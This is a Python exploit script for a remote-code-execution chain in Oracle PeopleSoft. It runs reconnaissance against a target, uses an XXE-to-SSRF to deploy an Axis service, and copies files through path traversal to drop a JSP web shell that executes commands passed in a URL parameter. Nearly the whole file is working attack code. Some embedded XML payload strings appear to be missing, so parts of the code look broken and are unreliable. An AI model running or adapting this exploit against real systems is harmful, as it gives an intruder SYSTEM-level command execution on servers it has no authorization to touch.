#!/usr/bin/python3 # Oracle PeopleSoft SYSTEM RCE # https://www.ambionics.io/blog/oracle-peoplesoft-xxe-to-rce # cf # 2017-05-17 import requests import urllib.parse import re import string import random import sys from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) try: import colorama except ImportError: colorama = None else: colorama.init() COLORS = { '+': colorama.Fore.GREEN, '-': colorama.Fore.RED, ':': colorama.Fore.BLUE, '!': colorama.Fore.YELLOW } URL = sys.argv[1].rstrip('/') CLASS_NAME = 'org.apache.pluto.portalImpl.Deploy' PROXY = 'localhost:8080' # shell.jsp?c=whoami PAYLOAD = '<%@ page import="java.util.*,java.io.*"%><% if (request.getParameter("c") != null) { Process p = Runtime.getRuntime().exec(request.getParameter("c")); DataInputStream dis = new DataInputStream(p.getInputStream()); String disr = dis.readLine(); while ( disr != null ) { out.println(disr); disr = dis.readLine(); }; p.destroy(); }%>' class Browser: """Wrapper around requests. """ def __init__(self, url): self.url = url self.init() def init(self): self.session = requests.Session() self.session.proxies = { 'http': PROXY, 'https': PROXY } self.session.verify = False def get(self, url ,*args, **kwargs): return self.session.get(url=self.url + url, *args, **kwargs) def post(self, url, *args, **kwargs): return self.session.post(url=self.url + url, *args, **kwargs) def matches(self, r, regex): return re.findall(regex, r.text) class Recon(Browser): """Grabs different informations about the target. """ def check_all(self): self.site_id = None self.local_port = None self.check_version() self.check_site_id() self.check_local_infos() def check_version(self): """Grabs PeopleTools' version. """ self.version = None r = self.get('/PSEMHUB/hub') m = self.matches(r, 'Registered Hosts Summary - ([0-9\.]+).') if m: self.version = m[0] o(':', 'PTools version: %s' % self.version) else: o('-', 'Unable to find version') def check_site_id(self): """Grabs the site ID and the local port. """ if self.site_id: return r = self.get('/') m = self.matches(r, '/([^/]+)/signon.html') if not m: raise RuntimeError('Unable to find site ID') self.site_id = m[0] o('+', 'Site ID: ' + self.site_id) def check_local_infos(self): """Uses cookies to leak hostname and local port. """ if self.local_port: return r = self.get('/psp/%s/signon.html' % self.site_id) for c, v in self.session.cookies.items(): if c.endswith('-PORTAL-PSJSESSIONID'): self.local_host, self.local_port, *_ = c.split('-') o('+', 'Target: %s:%s' % (self.local_host, self.local_port)) return raise RuntimeError('Unable to get local hostname / port') class AxisDeploy(Recon): """Uses the XXE to install Deploy, and uses its two useful methods to get a shell. """ def init(self): super().init() self.service_name = 'YZWXOUuHhildsVmHwIKdZbDCNmRHznXR' #self.random_string(10) def random_string(self, size): return ''.join(random.choice(string.ascii_letters) for _ in range(size)) def url_service(self, payload): return 'http://localhost:%s/pspc/services/AdminService?method=%s' % ( self.local_port, urllib.parse.quote_plus(self.psoap(payload)) ) def war_path(self, name): # This is just a guess from the few PeopleSoft instances we audited. # It might be wrong. suffix = '.war' if self.version and self.version >= '8.50' else '' return './applications/peoplesoft/%s%s' % (name, suffix) def pxml(self, payload): """Converts an XML payload into a one-liner. """ payload = payload.strip().replace('\n', ' ') payload = re.sub('\s+<', '<', payload, flags=re.S) payload = re.sub('\s+', ' ', payload, flags=re.S) return payload def psoap(self, payload): """Converts a SOAP payload into a one-liner, including the comment trick to allow attributes. """ payload = self.pxml(payload) payload = '!-->%s' % payload[:-1] return payload def soap_service_deploy(self): """SOAP payload to deploy the service. """ return """ """ % (self.service_name, CLASS_NAME) def soap_service_undeploy(self): """SOAP payload to undeploy the service. """ return """ """ % (self.service_name, ) def xxe_ssrf(self, payload): """Runs the given AXIS deploy/undeploy payload through the XXE. """ data = """ ]> &x; """ % self.url_service(payload) r = self.post( '/PSIGW/HttpListeningConnector', data=self.pxml(data), headers={ 'Content-Type': 'application/xml' } ) def service_check(self): """Verifies that the service is correctly installed. """ r = self.get('/pspc/services') return self.service_name in r.text def service_deploy(self): self.xxe_ssrf(self.soap_service_deploy()) if not self.service_check(): raise RuntimeError('Unable to deploy service') o('+', 'Service deployed') def service_undeploy(self): if not self.local_port: return self.xxe_ssrf(self.soap_service_undeploy()) if self.service_check(): o('-', 'Unable to undeploy service') return o('+', 'Service undeployed') def service_send(self, data): """Send data to the Axis endpoint. """ return self.post( '/pspc/services/%s' % self.service_name, data=data, headers={ 'SOAPAction': 'useless', 'Content-Type': 'application/xml' } ) def service_copy(self, path0, path1): """Copies one file to another. """ data = """ %s %s """.strip() % (path0, path1) response = self.service_send(data) return ' %s %s %s.war something -addToEntityReg """.strip() % (tmp_path, tmp_dir, tmp_dir, PAYLOAD) response = self.service_send(data) def build_shell(self): """Builds a SYSTEM shell. """ # On versions >= 8.50, using another extension than JSP got 70 bytes # in return every time, for some reason. # Using .jsp seems to trigger caching, thus the same pivot cannot be # used to extract several files. # Again, this is just from experience, nothing confirmed pivot = '/%s.jsp' % self.random_string(20) pivot_path = self.war_path('PSOL') + pivot pivot_url = '/PSOL' + pivot # 1: Copy portletentityregistry.xml to TMP per = '/WEB-INF/data/portletentityregistry.xml' per_path = self.war_path('pspc') tmp_path = '../' * 20 + 'TEMP' tmp_dir = self.random_string(20) tmp_per = tmp_path + '/' + tmp_dir + per if not self.service_copy(per_path + per, tmp_per): raise RuntimeError('Unable to copy original XML file') # 2: Add JSP payload self.service_main(tmp_path, tmp_dir) # 3: Copy XML to JSP in webroot if not self.service_copy(tmp_per, pivot_path): raise RuntimeError('Unable to copy modified XML file') response = self.get(pivot_url) if response.status_code != 200: raise RuntimeError('Unable to access JSP shell') o('+', 'Shell URL: ' + self.url + pivot_url) class PeopleSoftRCE(AxisDeploy): def __init__(self, url): super().__init__(url) def o(s, message): if colorama: c = COLORS[s] s = colorama.Style.BRIGHT + COLORS[s] + '|' + colorama.Style.RESET_ALL print('%s %s' % (s, message)) x = PeopleSoftRCE(URL) try: x.check_all() x.service_deploy() x.build_shell() except RuntimeError as e: o('-', e) finally: x.service_undeploy()